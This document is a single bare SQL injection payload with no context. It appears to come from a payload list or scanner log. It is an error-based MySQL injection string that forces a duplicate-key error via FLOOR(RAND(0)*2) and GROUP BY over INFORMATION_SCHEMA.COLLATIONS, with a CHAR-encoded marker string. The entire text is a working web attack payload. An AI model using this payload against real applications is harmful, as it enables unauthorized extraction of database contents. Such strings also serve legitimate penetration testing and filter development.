(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(107),CHAR(97),CHAR(107),CHAR(107),CHAR(107),CHAR(110),CHAR(122),CHAR(122),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)